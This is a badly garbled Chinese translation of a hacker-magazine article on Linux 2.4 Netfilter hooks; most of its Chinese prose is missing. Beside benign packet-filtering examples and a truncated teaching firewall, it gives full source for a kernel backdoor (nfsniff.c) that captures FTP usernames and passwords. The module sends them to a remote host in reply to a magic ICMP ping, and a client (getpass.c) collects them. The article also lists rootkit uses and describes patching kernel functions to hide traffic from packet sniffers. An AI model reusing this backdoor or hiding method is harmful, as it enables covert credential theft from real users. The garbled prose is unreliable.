Linux 네트워크 핵심 스 택 깊이 들 어가 기



                 0x0b,     0x3d, Phile #0x0d of 0x0f



|=---------------------=[   Linux       ]=-----------------------=|

|=-----------------------------------------------------------------------=|

|=------------------=[ bioforge <[email protected]> ]=--------------------=|

|=------------------------=[    : raodan ]=----------------------------=|



  



1 -   

  1.1 -        

  1.2 -         

2 -   Netfilter hook    

  2.1 - Linux         

  2.2 - Netfilter IPv4 hook

3 -      Netfilter hook

4 - Netfilter           [1]

  4.1 -   hook  

  4.2 -         

  4.3 -         

  4.4 -   TCP      

5 - Netfilter hook       

  5.1 -          

  5.2 -      FTP     

    5.2.1 -     : nfsniff.c

    5.2.2 -     : getpass.c

6 -  Libpcap       

  6.1 - SOCK_PACKET、SOCK_RAW Libpcap

  6.2 -       

7 -    

A -       

  A.1 -   

  A.2 -     : lwfw.c

  A.3 -     : lwfw.h

B -  6      



--[ 1 -   



           ,Linux            (       )                    。                   Netfilter hook       ,                     Libpcap            。

    Netfilter Linux 2.4        ,Netfiler         、      (NAT)               ,                       hook     。  hook       ,        ,                。                   ,              。





----[ 1.1 -        

    

                 Netfilter hook                    Libpcap        。  Linux 2.4   IPv4、IPv6  DECnet hook,           IPv4   ,    ,     IPv4                 。       ,  A        、             。                Intel    Linux 2.4.5   。 Netfilter hook          、                    。

    

            Netfilter             。               100%     ,                  。             ,             。  ,                             。        C                    。

    

                     ,                        Netfilter        。

    

    

---- [ 1.2 -         



               Netfilter         ,  ,       iptables        。           iptables   ,         。

    

      ,    Netfilter        ...

    



--[ 2 -   Netfilter hook    

----[ 2.1 - Linux         

    

                   Linux                    Netfilter hook          ,      !     ,Harald Welte                  ——《Journey  of a Packet Through the Linux 2.4 Network Stack》。           Linux        ,             。  ,     :      Linux        ,      hook ,   ,                   ,  hook   Netfilter hook。

    



----[ 2.2 - Netfilter IPv4 hook



    Netfilter        IPv4 hook,           linux/netfilter_ipv4.h   。  hook       :

    

 1 :    IPv4 hook



    Hook                     

NF_IP_PRE_ROUTING            ,      

NF_IP_LOCAL_IN               ,            

NF_IP_FORWARD                    

NF_IP_LOCAL_OUT                              

NF_IP_POST_ROUTING              “  ”  



    NF_IP_PRE_ROUTING  hook                hook,  hook               。  ,   hook      ,     ,       NF_IP_PRE_ROUTING  hook 。



     hook                   ,            Netfilter       :

    

 2 : Netfilter   



                         

NF_DROP                      

NF_ACCEPT                  

NF_STOLEN                  

NF_QUEUE                        

NF_REPEAT                 hook  



    NF_DROP                    ,               。NF_ACCEPT       Netfilter:     ,                                。NF_STOLEN         ,     Netfilter,“  ”     。    Netfilter  : hook              ,  Netfilter               。  ,                  。           sk_buff        ,  hook   Netfilter           。    ,         NF_QUEUE        ,          。       NF_REPEAT  Netfilter      hook  。  ,         NF_REPEAT     ,       。

    

--[3 -      Netfilter hook



        hook     nf_hook_ops              ,nf_hook_ops     linux/netfilter.h   ,          :



          struct nf_hook_ops {

                  struct list_head list;



                  /*           */

                  nf_hookfn *hook;

                  int pf;

                  int hooknum;

                  /* Hook          */

                  int priority;

          };



           list      Netfilter hook   ,         hook        。hook       nf_hookfn        ,      hook         。nf_hookfn   linux/netfilter.h   。pf           。       linux/socket.h   ,   IPv4         PF_INET。hooknum                     hook  ,    1       。  ,priority               ,  hook            。  IPv4,     linux/netfilter_ipv4.h nf_ip_hook_priorities     。       ,            NF_IP_PRI_FIRST。

    

        Netfilter hook    nf_register_hook()  ,      nf_hook_ops    。nf_register_hook()     nf_hook_ops                     。  ,         net/core/netfilter.c  nf_register_hook()       ,           0。            ,                          。        Netfilter         。



        1 : Netfilter hook   

/* 

*                Netfilter hook        

*/



#define __KERNEL__

#define MODULE



#include <linux/module.h>

#include <linux/kernel.h>

#include <linux/netfilter.h>

#include <linux/netfilter_ipv4.h>



/*                */

static struct nf_hook_ops nfho;



/*    hook      */

unsigned int hook_func(unsigned int hooknum,

                       struct sk_buff **skb,

                       const struct net_device *in,

                       const struct net_device *out,

                       int (*okfn)(struct sk_buff *))

{

    return NF_DROP;           /*          */

}



/*       */

int init_module()

{

    /*      hook     */

    nfho.hook = hook_func;         /*      */

    nfho.hooknum  = NF_IP_PRE_ROUTING; /*   IPv4    hook */

    nfho.pf       = PF_INET;

    nfho.priority = NF_IP_PRI_FIRST;   /*            */



    nf_register_hook(&nfho);



    return 0;

}



/*      */

void cleanup_module()

{

    nf_unregister_hook(&nfho);

}



           ,     1 ,     ,    Netfilter hook        ,     nf_unregister_hook()  ,            hook                  。

    



-- [4 - Netfilter           

---- [4.1 -   hook  



                   hook                       。  ,         nf_hookfn      。       linux/netfilter.h   ,  :



          typedef unsigned int nf_hookfn(unsigned int hooknum,

                                         struct sk_buff **skb,

                                         const struct net_device *in,

                                         const struct net_device *out,

                                         int (*okfn)(struct sk_buff *));



    nf_hookfn             1    hook      。         ,           ,            sk_buff    ,     sk_buff          。       linux/skbuff.h   ,        ,                。



    sk_buff                         (  :UDP, TCP, ICMP, SPX)、     (  :IPv4/6, IPX, RAW)       (  :     RAW)   (union) 。           h、nh  mac。           ,               。       :                         。  TCP          ,  h nh         IP      。        h->th     ,          TCP ,         。  h->th       IP , nh->iph       。



                   len data    。len    data              。  ,         sk_buff                     。Netfilter hook                     ?



       skb          net_device       ,net_device     Linux               。          ——in,            ,    ,  out            。    ,      ,              。  :  in   NF_IP_PRE_ROUTING NF_IP_LOCAL_IN hook,  out   NF_IP_LOCAL_OUT NF_IP_POST_ROUTING hook。       ,        NF_IP_FORWARD hook,            ,                      ,         !



      ,   hook               okfn    ,      sk_buff            ,          。                , net/core/netfilter.c   ,          okfn  。           nf_hook_slow()     nf_reinject() ,        , Netfilter hook     NF_ACCEPT    。           okfn     ,     。

    

    **   :Linux               : struct list_head nf_hooks[NPROTO][NF_MAX_HOOKS],          ,            ,       hook   ( 1      )。    Netfilter hook          hook                。

     

           net/core/netfilter,nf_register_hook()     :

int nf_register_hook(struct nf_hook_ops *reg)

{

    struct list_head *i;



    br_write_lock_bh(BR_NETPROTO_LOCK);

    for (i = nf_hooks[reg->pf][reg->hooknum].next; 

         i != &nf_hooks[reg->pf][reg->hooknum]; 

         i = i->next) {

        if (reg->priority < ((struct nf_hook_ops *)i)->priority)

            break;

    }

    list_add(®->list, i->prev);

    br_write_unlock_bh(BR_NETPROTO_LOCK);

    return 0;

}



    Netfilter       NF_HOOK,        nf_hook_slow()       NF_HOOK        , NF_HOOK      hook  。NF_HOOK Linux                    。  , ip_rcv()  (  net/ipv4/ip_input.c)     ,  NF_HOOK  ,  NF_IP_PRE_ROUTING   hook。ip_rcv() Linux           IPv4        。 NF_HOOK    ,     okfn    ,                    ,   ip_rcv    NF_HOOK  okfn      ip_rcv_finish()  (  net/ipv4/ip_input.c),     IP          IP         。

    

                CONFIG_NETFILTER   ,NF_HOOK         okfn,            (linux/netfilter.h):



#ifdef CONFIG_NETFILTER

...

#ifdef CONFIG_NETFILTER_DEBUG

#define NF_HOOK nf_hook_slow

#else

#define NF_HOOK(pf, hook, skb, indev, outdev, okfn)            /

(list_empty(&nf_hooks[(pf)][(hook)])                    /

? (okfn)(skb)                                /

: nf_hook_slow((pf), (hook), (skb), (indev), (outdev), (okfn)))

#endif

...

#else /* !CONFIG_NETFILTER */

#define NF_HOOK(pf, hook, skb, indev, outdev, okfn) (okfn)(skb)

#endif /*CONFIG_NETFILTER*/

    

      okfn        , Netfilter    ,                 ,     Netfilter      ,           ,            。

    

    **    

    

      ,          hook                   ,                                 !

    

    

----[4.2 -         



                      。      hook           net_device     ?     net_device     name    ,                          。           eth0    ,           in->name   "eth0"   ,      ,  hook       NF_DROP  ,         。      !                  2。  ,Light-Weight FireWall                       。       IOCTL                  。

    

        2 :            

/*

*                      Netfilter hook       

*/



#define __KERNEL__

#define MODULE

#include <linux/module.h>

#include <linux/kernel.h>

#include <linux/netdevice.h>

#include <linux/netfilter.h>

#include <linux/netfilter_ipv4.h>

/*                */

static struct nf_hook_ops nfho;



/*                  */

static char *drop_if = "lo";



/*    hook      */

unsigned int hook_func(unsigned int hooknum,

                       struct sk_buff **skb,

                       const struct net_device *in,

                       const struct net_device *out,

                       int (*okfn)(struct sk_buff *))

{

    if (strcmp(in->name, drop_if) == 0) {

        printk("Dropped packet on %s.../n", drop_if);

        return NF_DROP;

    } else {

        return NF_ACCEPT;

    }

}



/*       */

int init_module()

{

    /*      hook     */

    nfho.hook     = hook_func;         /*      */

    nfho.hooknum  = NF_IP_PRE_ROUTING; /*   IPv4    hook */

    nfho.pf       = PF_INET;

    nfho.priority = NF_IP_PRI_FIRST;   /*            */



    nf_register_hook(&nfho);

    

    return 0;

}

    

/*      */

void cleanup_module()

{

    nf_unregister_hook(&nfho);

}



          ?   ,       IP     。

    



----[ 4.3 -         



                   ,          IP          。         sk_buff    。   skb       sk_buff           ?       ,         skb_buff          skb                      ,    :

    

      struct sk_buff *sb = *skb;    /* Remove 1 level of indirection* /



      ,                         。        IP     sk_buff              。          ,    sk_buff->nh.iph        。    3                sk_buff     ,                IP             。        LWFW     ,      LWFW        。

    

        3 :           IP

    

      unsigned char *deny_ip = "/x7f/x00/x00/x01";  /* 127.0.0.1 */

      

      ...



          static int check_ip_packet(struct sk_buff *skb)

          {

              /* We don't want any NULL pointers in the chain to

               * the IP header. */

              if (!skb )return NF_ACCEPT;

              if (!(skb->nh.iph)) return NF_ACCEPT;

          

              if (skb->nh.iph->saddr == *(unsigned int *)deny_ip) { 

              return NF_DROP;

              }



              return NF_ACCEPT;

          }

    

      ,                         ,          。                ,deny_ip          (Big-endian, Intel  )  。                        ,                。  ,         ,         NF_ACCEPT。  Netfilter           。    4                          IP           。

    

        4 :            

/*           IP       Netfilter hook      */



#define __KERNEL__

#define MODULE



#include <linux/module.h>

#include <linux/kernel.h>

#include <linux/skbuff.h>

#include <linux/ip.h>                  /* For IP header */

#include <linux/netfilter.h>

#include <linux/netfilter_ipv4.h>



/*                */

static struct nf_hook_ops nfho;



/*               ,      */

static unsigned char *drop_ip = "/x7f/x00/x00/x01";



/*    hook      */

unsigned int hook_func(unsigned int hooknum,

                       struct sk_buff **skb,

                       const struct net_device *in,

                       const struct net_device *out,

                       int (*okfn)(struct sk_buff *))

{

    struct sk_buff *sb = *skb;

    

    //   :                       ,       

    if (sb->nh.iph->saddr == *(unsigned int *)drop_ip) {

    // if (sb->nh.iph->saddr == drop_ip) {

        printk("Dropped packet from... %d.%d.%d.%d/n",

      *drop_ip, *(drop_ip + 1),

  *(drop_ip + 2), *(drop_ip + 3));

        return NF_DROP;

    } else {

        return NF_ACCEPT;

    }

}



/*       */

int init_module()

{

    /*      hook     */

    nfho.hook       = hook_func;         /*      */

    nfho.hooknum  = NF_IP_PRE_ROUTING; /*   IPv4    hook */

    nfho.pf       = PF_INET;

    nfho.priority = NF_IP_PRI_FIRST;   /*            */



    nf_register_hook(&nfho);



    return 0;

}



/*      */

void cleanup_module()

{

    nf_unregister_hook(&nfho);

}





----[ 4.4 -   TCP      



                      TCP        。     IP          ,            TCP    。                           ?    TCP            ——    tcphdr    ( linux/tcp.h   )   ,            IP      。              ,    5         TCP                         。     3  ,      LWFW。

    

        5 :          TCP    

          unsigned char *deny_port = "/x00/x19";   /* port 25 */



      ...



          static int check_tcp_packet(struct sk_buff *skb)

          {

              struct tcphdr *thead;



              /* We don't want any NULL pointers in the chain

               * to the IP header. */

              if (!skb ) return NF_ACCEPT;

              if (!(skb->nh.iph)) return NF_ACCEPT;



              /* Be sure this is a TCP packet first */

              if (skb->nh.iph->protocol != IPPROTO_TCP) {

                  return NF_ACCEPT;

              }



              thead = (struct tcphdr *)(skb->data +

                                       (skb->nh.iph->ihl * 4));



              /* Now check the destination port */

              if ((thead->dest) == *(unsigned short *)deny_port) {

                  return NF_DROP;

              }

          

          return NF_ACCEPT;

          }



         !    ,        ,deny_port        。            ,                     ,          。  ,              !

    



--[ 5 - Netfilter hook       



       ,           Netfilter hook   ,5.1           , 5.2                 FTP        ,                。   ,          ,       。

    

----[ 5.1 -          



             Linux            ,                              。        ,       、  ,          ,   rootkit      。  ,          (  ,           ),       、            。           !

    

                   ,        。      (           )             。  ,             ,            ?  ,                  ,         ps         。  ,                     。  ,                           。    ,  Netfilter hook!

    

                                  ,               ,        ,            。     Netfilter hook                 “  ”   ,        “  ”          。      Netfilter hook   。   hook      NF_STOLEN,      “  ”         。     ,          ,         Netfilter hook      。             “  ”        ,              。  !                                             。

    

    kossak lifeline  Phrack         ,                           。        Netfilter hook,              ( 55 ,  12),                       。

    

      ,  Netfilter hook         ?       :

    --          (key-logger)。      ,           PING   ,        。  ,            (    )PING          。  ,              ,  ,ASCII           ,              :“  ,         SSH        !Oh $%@T%&!”。

    --           ,                               。

    --          ,           ,                、ICMP       KaZaa            。

    --     “   ”。            ,     Linux           :)

    --      。                      IP     ,                。       ,      ,          。

    --                              。  :      。

    -- FTP/POP3/Telnet     。              ,     “  ”         。

    

                  ,                            。 

                             。



----[ 5.2 -      FTP     



                ,    ,  Netfilter     。        FTP   ,      FTP     USER PASS   。            ,           “  ”ICMP ECHO(ping)   ,         ,         IP  、       。              “  ”   ,               。     /         ,          。  ,          。        ,         ,              。

    

          ,   init_module()          Netfilter hook。             ( NF_IP_PRE_ROUTING ),    “  ”ICMP   。                         ( NF_IP_POST_ROUTING ),           FTP USER PASS      。cleanup_module()            hook。

    

    watch_out()   hook NF_IP_POST_ROUTING   ,           ,           。              ,       ,       FTP   。       FTP   ,      NF_ACCEPT。      FTP   ,                    /   。    ( have_pair      ),    NF_ACCEPT,             。  ,check_ftp()     ,             。               ,  target_ip target_port       。

    

    check_ftp()            "USER","PASS" "QUIT"。    USER         PASS  。                 PASS    USER         USER                 。  ,  QUIT             ,       ,          。   USER  PASS     ,           ,         。     , check_ftp()      ,                    。   ,   have_pair              /                      。

    

                                           。           “  ”           。       ,                   。        ,    16     :)。              ,watch_in()                 “  ”   。                 “  ”      ,      watch_in()  ,       NF_ACCEPT。  “  ”                      IP           。           。  ,          sk_buff,                      ,              !  ,                     ,                 。          ,       。  ,  IP  ,  sk_buff              (pkt_type)     PACKET_OUTGOING,    linux/if_packet.h   。                     。          sk_buff                ,                       。           (           raw)   ,        mac.ethernet  mac.raw  。                       sb->dev->type  ,  sb     sk_buff       。          linux/if_arp.h   ,              3   。

    

 3 :         



                

ARPHRD_ETHER       

ARPHRD_LOOPBACK        

ARPHRD_PPP           (    )



     ,                        。          ,dev_queue_xmit()       sk_buff               , “    ”   ,          。    “    ”      ?      dev_queue_xmit()            ,                      dump   “      ”。               ?  ,watch_in()  NF_STOLEN,   Netfilter             。        dev_queue_xmit(),    NF_DROP!    dev_queue_xmit()             , Netfilter     NF_DROP          。  。            ,       。

   

   

------[ 5.2.1 -     : nfsniff.c



<++> nfsniff/nfsniff.c

/* Simple proof-of-concept for kernel-based FTP password sniffer.

* A captured Username and Password pair are sent to a remote host

* when that host sends a specially formatted ICMP packet. Here we

* shall use an ICMP_ECHO packet whose code field is set to 0x5B

* *AND* the packet has enough

* space after the headers to fit a 4-byte IP address and the

* username and password fields which are a max. of 15 characters

* each plus a NULL byte. So a total ICMP payload size of 36 bytes. */



/* Written by bioforge,  March 2003 */



#define MODULE

#define __KERNEL__



#include <linux/module.h>

#include <linux/kernel.h>

#include <linux/skbuff.h>

#include <linux/in.h>

#include <linux/ip.h>

#include <linux/tcp.h>

#include <linux/icmp.h>

#include <linux/netdevice.h>

#include <linux/netfilter.h>

#include <linux/netfilter_ipv4.h>

#include <linux/if_arp.h>

#include <linux/if_ether.h>

#include <linux/if_packet.h>



#define MAGIC_CODE   0x5B

#define REPLY_SIZE   36



#define ICMP_PAYLOAD_SIZE  (htons(sb->nh.iph->tot_len) /

                   - sizeof(struct iphdr) /

                   - sizeof(struct icmphdr))



/* THESE values are used to keep the USERname and PASSword until

* they are queried. Only one USER/PASS pair will be held at one

* time and will be cleared once queried. */

static char *username = NULL;

static char *password = NULL;

static int  have_pair = 0;     /* Marks if we already have a pair */



/* Tracking information. Only log USER and PASS commands that go to the

* same IP address and TCP port. */

static unsigned int target_ip = 0;

static unsigned short target_port = 0;



/* Used to describe our Netfilter hooks */

struct nf_hook_ops  pre_hook;           /* Incoming */

struct nf_hook_ops  post_hook;           /* Outgoing */





/* Function that looks at an sk_buff that is known to be an FTP packet.

* Looks for the USER and PASS fields and makes sure they both come from

* the one host as indicated in the target_xxx fields */

static void check_ftp(struct sk_buff *skb)

{

   struct tcphdr *tcp;

   char *data;

   int len = 0;

   int i = 0;

   

   tcp = (struct tcphdr *)(skb->data + (skb->nh.iph->ihl * 4));

   data = (char *)((int)tcp + (int)(tcp->doff * 4));



   /* Now, if we have a username already, then we have a target_ip.

    * Make sure that this packet is destined for the same host. */

   if (username)

     if (skb->nh.iph->daddr != target_ip || tcp->source != target_port)

       return;

   

   /* Now try to see if this is a USER or PASS packet */

   if (strncmp(data, "USER ", 5) == 0) {          /* Username */

      data += 5;

      

      if (username)  return;

      

      while (*(data + i) != '/r' && *(data + i) != '/n'

         && *(data + i) != '/0' && i < 15) {

     len++;

     i++;

      }

      

      if ((username = kmalloc(len + 2, GFP_KERNEL)) == NULL)

    return;

      memset(username, 0x00, len + 2);

      memcpy(username, data, len);

      *(username + len) = '/0';           /* NULL terminate */

   } else if (strncmp(data, "PASS ", 5) == 0) {   /* Password */

      data += 5;



      /* If a username hasn't been logged yet then don't try logging

       * a password */

      if (username == NULL) return;

      if (password)  return;

      

      while (*(data + i) != '/r' && *(data + i) != '/n'

         && *(data + i) != '/0' && i < 15) {

     len++;

     i++;

      }



      if ((password = kmalloc(len + 2, GFP_KERNEL)) == NULL)

    return;

      memset(password, 0x00, len + 2);

      memcpy(password, data, len);

      *(password + len) = '/0';           /* NULL terminate */

   } else if (strncmp(data, "QUIT", 4) == 0) {

      /* Quit command received. If we have a username but no password,

       * clear the username and reset everything */

      if (have_pair)  return;

      if (username && !password) {

     kfree(username);

     username = NULL;

     target_port = target_ip = 0;

     have_pair = 0;

     

     return;

      }

   } else {

      return;

   }



   if (!target_ip)

     target_ip = skb->nh.iph->daddr;

   if (!target_port)

     target_port = tcp->source;



   if (username && password)

     have_pair++;               /* Have a pair. Ignore others until

                    * this pair has been read. */

//   if (have_pair)

//     printk("Have password pair!  U: %s   P: %s/n", username, password);

}



/* Function called as the POST_ROUTING (last) hook. It will check for

* FTP traffic then search that traffic for USER and PASS commands. */

static unsigned int watch_out(unsigned int hooknum,

                  struct sk_buff **skb,

                  const struct net_device *in,

                  const struct net_device *out,

                  int (*okfn)(struct sk_buff *))

{

   struct sk_buff *sb = *skb;

   struct tcphdr *tcp;

   

   /* Make sure this is a TCP packet first */

   if (sb->nh.iph->protocol != IPPROTO_TCP)

     return NF_ACCEPT;               /* Nope, not TCP */

   

   tcp = (struct tcphdr *)((sb->data) + (sb->nh.iph->ihl * 4));

   

   /* Now check to see if it's an FTP packet */

   if (tcp->dest != htons(21))

     return NF_ACCEPT;               /* Nope, not FTP */

   

   /* Parse the FTP packet for relevant information if we don't already

    * have a username and password pair. */

   if (!have_pair)

     check_ftp(sb);

   

   /* We are finished with the packet, let it go on its way */

   return NF_ACCEPT;

}





/* Procedure that watches incoming ICMP traffic for the "Magic" packet.

* When that is received, we tweak the skb structure to send a reply

* back to the requesting host and tell Netfilter that we stole the

* packet. */

static unsigned int watch_in(unsigned int hooknum,

                 struct sk_buff **skb,

                 const struct net_device *in,

                 const struct net_device *out,

                 int (*okfn)(struct sk_buff *))

{

   struct sk_buff *sb = *skb;

   struct icmphdr *icmp;

   char *cp_data;               /* Where we copy data to in reply */

   unsigned int   taddr;           /* Temporary IP holder */



   /* Do we even have a username/password pair to report yet? */

   if (!have_pair)

     return NF_ACCEPT;

     

   /* Is this an ICMP packet? */

   if (sb->nh.iph->protocol != IPPROTO_ICMP)

     return NF_ACCEPT;

   

   icmp = (struct icmphdr *)(sb->data + sb->nh.iph->ihl * 4);



   /* Is it the MAGIC packet? */

   if (icmp->code != MAGIC_CODE || icmp->type != ICMP_ECHO

     || ICMP_PAYLOAD_SIZE < REPLY_SIZE) {

      return NF_ACCEPT;

   }

   

   /* Okay, matches our checks for "Magicness", now we fiddle with

    * the sk_buff to insert the IP address, and username/password pair,

    * swap IP source and destination addresses and ethernet addresses

    * if necessary and then transmit the packet from here and tell

    * Netfilter we stole it. Phew... */

   taddr = sb->nh.iph->saddr;

   sb->nh.iph->saddr = sb->nh.iph->daddr;

   sb->nh.iph->daddr = taddr;



   sb->pkt_type = PACKET_OUTGOING;



   switch (sb->dev->type) {

    case ARPHRD_PPP:               /* No fiddling needs doing */

      break;

    case ARPHRD_LOOPBACK:

    case ARPHRD_ETHER:

    {

       unsigned char t_hwaddr[ETH_ALEN];

       

       /* Move the data pointer to point to the link layer header */

       sb->data = (unsigned char *)sb->mac.ethernet;

       sb->len += ETH_HLEN; //sizeof(sb->mac.ethernet);

       memcpy(t_hwaddr, (sb->mac.ethernet->h_dest), ETH_ALEN);

       memcpy((sb->mac.ethernet->h_dest), (sb->mac.ethernet->h_source),

          ETH_ALEN);

       memcpy((sb->mac.ethernet->h_source), t_hwaddr, ETH_ALEN);

  

       break;

    }

   };



   /* Now copy the IP address, then Username, then password into packet */

   cp_data = (char *)((char *)icmp + sizeof(struct icmphdr));

   memcpy(cp_data, &target_ip, 4);

   if (username)

     memcpy(cp_data + 4, username, 16);

   if (password)

     memcpy(cp_data + 20, password, 16);

   

   /* This is where things will die if they are going to.

    * Fingers crossed... */

   dev_queue_xmit(sb);



   /* Now free the saved username and password and reset have_pair */

   kfree(username);

   kfree(password);

   username = password = NULL;

   have_pair = 0;

   

   target_port = target_ip = 0;



//   printk("Password retrieved/n");

   

   return NF_STOLEN;

}



int init_module()

{

   pre_hook.hook     = watch_in;

   pre_hook.pf       = PF_INET;

   pre_hook.priority = NF_IP_PRI_FIRST;

   pre_hook.hooknum  = NF_IP_PRE_ROUTING;

   

   post_hook.hook     = watch_out;

   post_hook.pf       = PF_INET;

   post_hook.priority = NF_IP_PRI_FIRST;

   post_hook.hooknum  = NF_IP_POST_ROUTING;

   

   nf_register_hook(&pre_hook);

   nf_register_hook(&post_hook);

   

   return 0;

}



void cleanup_module()

{

   nf_unregister_hook(&post_hook);

   nf_unregister_hook(&pre_hook);

   

   if (password)

     kfree(password);

   if (username)

     kfree(username);

}

<-->



------[ 5.2.2 -     : getpass.c



<++> nfsniff/getpass.c

/* getpass.c - simple utility to get username/password pair from

* the Netfilter backdoor FTP sniffer. Very kludgy, but effective.

* Mostly stripped from my source for InfoPig.

*

* Written by bioforge  -  March 2003 */



#include <sys/types.h>

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <string.h>

#include <errno.h>

#include <sys/socket.h>

#include <netdb.h>

#include <arpa/inet.h>



#ifndef __USE_BSD

# define __USE_BSD               /* We want the proper headers */

#endif

# include <netinet/ip.h>

#include <netinet/ip_icmp.h>



/* Function prototypes */

static unsigned short checksum(int numwords, unsigned short *buff);



int main(int argc, char *argv[])

{

    unsigned char dgram[256];           /* Plenty for a PING datagram */

    unsigned char recvbuff[256];

    struct ip *iphead = (struct ip *)dgram;

    struct icmp *icmphead = (struct icmp *)(dgram + sizeof(struct ip));

    struct sockaddr_in src;

    struct sockaddr_in addr;

    struct in_addr my_addr;

    struct in_addr serv_addr;

    socklen_t src_addr_size = sizeof(struct sockaddr_in);

    int icmp_sock = 0;

    int one = 1;

    int *ptr_one = &one;

    

    if (argc < 3) {

    fprintf(stderr, "Usage:  %s remoteIP myIP/n", argv[0]);

    exit(1);

    }



    /* Get a socket */

    if ((icmp_sock = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) {

    fprintf(stderr, "Couldn't open raw socket! %s/n",

        strerror(errno));

    exit(1);

    }



    /* set the HDR_INCL option on the socket */

    if(setsockopt(icmp_sock, IPPROTO_IP, IP_HDRINCL,

          ptr_one, sizeof(one)) < 0) {

    close(icmp_sock);

    fprintf(stderr, "Couldn't set HDRINCL option! %s/n",

            strerror(errno));

    exit(1);

    }

    

    addr.sin_family = AF_INET;

    addr.sin_addr.s_addr = inet_addr(argv[1]);

    

    my_addr.s_addr = inet_addr(argv[2]);

    

    memset(dgram, 0x00, 256);

    memset(recvbuff, 0x00, 256);

    

    /* Fill in the IP fields first */

    iphead->ip_hl  = 5;

    iphead->ip_v   = 4;

    iphead->ip_tos = 0;

    iphead->ip_len = 84;

    iphead->ip_id  = (unsigned short)rand();

    iphead->ip_off = 0;

    iphead->ip_ttl = 128;

    iphead->ip_p   = IPPROTO_ICMP;

    iphead->ip_sum = 0;

    iphead->ip_src = my_addr;

    iphead->ip_dst = addr.sin_addr;

    

    /* Now fill in the ICMP fields */

    icmphead->icmp_type = ICMP_ECHO;

    icmphead->icmp_code = 0x5B;

    icmphead->icmp_cksum = checksum(42, (unsigned short *)icmphead);

    

    /* Finally, send the packet */

    fprintf(stdout, "Sending request.../n");

    if (sendto(icmp_sock, dgram, 84, 0, (struct sockaddr *)&addr,

           sizeof(struct sockaddr)) < 0) {

    fprintf(stderr, "/nFailed sending request! %s/n",

        strerror(errno));

    return 0;

    }



    fprintf(stdout, "Waiting for reply.../n");

    if (recvfrom(icmp_sock, recvbuff, 256, 0, (struct sockaddr *)&src,

         &src_addr_size) < 0) {

    fprintf(stdout, "Failed getting reply packet! %s/n",

        strerror(errno));

    close(icmp_sock);

    exit(1);

    }

    

    iphead = (struct ip *)recvbuff;

    icmphead = (struct icmp *)(recvbuff + sizeof(struct ip));

    memcpy(&serv_addr, ((char *)icmphead + 8),

           sizeof (struct in_addr));

    

    fprintf(stdout, "Stolen for ftp server %s:/n", inet_ntoa(serv_addr));

    fprintf(stdout, "Username:    %s/n",

         (char *)((char *)icmphead + 12));

    fprintf(stdout, "Password:    %s/n",

         (char *)((char *)icmphead + 28));

    

    close(icmp_sock);

    

    return 0;

}



/* Checksum-generation function. It appears that PING'ed machines don't

* reply to PINGs with invalid (ie. empty) ICMP Checksum fields...

* Fair enough I guess. */

static unsigned short checksum(int numwords, unsigned short *buff)

{

   unsigned long sum;

   

   for(sum = 0;numwords > 0;numwords--)

     sum += *buff++;   /* add next word, then increment pointer */

   

   sum = (sum >> 16) + (sum & 0xFFFF);

   sum += (sum >> 16);

   

   return ~sum;

}

<-->



    **   :       Makefile:



<++> nfsniff/Makefile

#Makefile                                              

#                                                      

                                                       

CFLAGS=-Wall                                           

LIBS=-L/usr/lib -lc

# Change include directory for your kernel                                   

MODULE_CFLAGS=-I/usr/src/custom/linux-2.4.18-3/include 

MODULE_CFLAGS+=$(CFLAGS)                               

EXECUTE_CFLAGS=-ggdb                                   

EXECUTE_CFLAGS+=$(CFLAGS)                              

                                                       

all : nfsniff.o getpass                                

nfsniff.o : nfsniff.c                                  

        gcc -c nfsniff.c -o nfsniff~.o $(MODULE_CFLAGS)

        ld -r -o nfsniff.o nfsniff~.o $(LIBS)          

getpass.o : getpass.c                                  

        gcc -c getpass.c $(EXECUTE_CFLAGS)             

getpass : getpass.o                                    

        gcc -o getpass getpass.o $(EXECUTE_CFLAGS)     

clean :                                                

        rm -f *.o getpass                              

<-->



    **   

    



--[ 6 -  Libpcap       



            ,     Linux   ,                                 。                 ,                  IP         。  ,     ...

    

----[ 6.1 - SOCK_PACKET、SOCK_RAW Libpcap



            ,                    “      ”    。               tcpdump(1)  ethereal(1)。         Libpcap (      [1]  tcpdump  )        。        (NIDS)    Libpcap 。SNORT  Libpcap,Libnids——    IP   TCP    NIDS   (      [2]),    。

    

     Linux   ,Libpcap   SOCK_PACKET  。Packet            ,                   。  Paket        ,                           ,            packet(7)   。        ,     packet    Libpcap                        。

    

                     ,           packet          。   ,                   。    ,          ,  TCP、UDP          。  SOCK_RAW          。         packet   ,                。                    SYNalert  ,      [3](              :)。

    

      ,        Linux            Libpcap 。Libpcap Linux   packet                     。          ,                 IP        。          Linux           packet               。

    

    

------[ 6.2       



                 packet    ,packet_rcv()     。       net/packet/af_packet.c   ,packet_rcv()                         ,            。      packet       ,               packet_rcv()  。         ?      ol       。

    

              :            ,             ,     ,                            。         ,             ,          ,                         。   i386           :

    

    movl  (address of our function),  %eax

    jmp   *eax



         16      (          0):

    

    0xb8 0x00 0x00 0x00 0x00

    0xff 0xe0



         Linux                        hook     ,         hook     。            ,                  ,                。     。Silvio Cesare          ,            ,      [4]。

    

      packet        ,        hook  ,                  。    ,     hook              0,packet_rcv()       。  packet_rcv()      ,                     packet   。  ,    "packet"     ,        。         packet    FTP   ,  FTP    TCP             。                              。FTP              。

    

            ,              。        hook  raw_rcv()  ( net/ipv4/raw.c     )。           Linux         ,     packet_rcv()   raw_rcv()  ,              IP      。

    



--[ 7 -    



            Netfilter         ,               。                                    。               tar ,      email。             、      。  ,             ,                !

    



--[ A -       

----[ A.1 -   



          (LWFW)          ,        4               。LWFW   ioctl()             。

    

      LWFW             ,                 。 LWFW      ,                 。   LWFW ioctl()        ,   /dev           。          ,"in use"        NF_IP_PRE_ROUTE  hook      。           。

    

    LWFW               。           :

    --    

    --  IP  

    --   TCP  

    

            ioctl()    。         ,LWFW             。              ,  hook     NF_DROP,  Netfilter             。  ,hook    NF_ACCEPT,          。

    

      ,        LWFW     。           hook  ,LWFW             。                           。  ,         ,              0。lwfwstats    LWFW_GET_STATS  IOCTL                    。

    



----[ A.2 -     : lwfw.c



<++> lwfw/lwfw.c

/* Light-weight Fire Wall. Simple firewall utility based on

* Netfilter for 2.4. Designed for educational purposes.

* 

* Written by bioforge  -  March 2003.

*/



#define MODULE

#define __KERNEL__



#include <linux/module.h>

#include <linux/kernel.h>

#include <linux/net.h>

#include <linux/types.h>

#include <linux/skbuff.h>

#include <linux/string.h>

#include <linux/malloc.h>

#include <linux/netdevice.h>

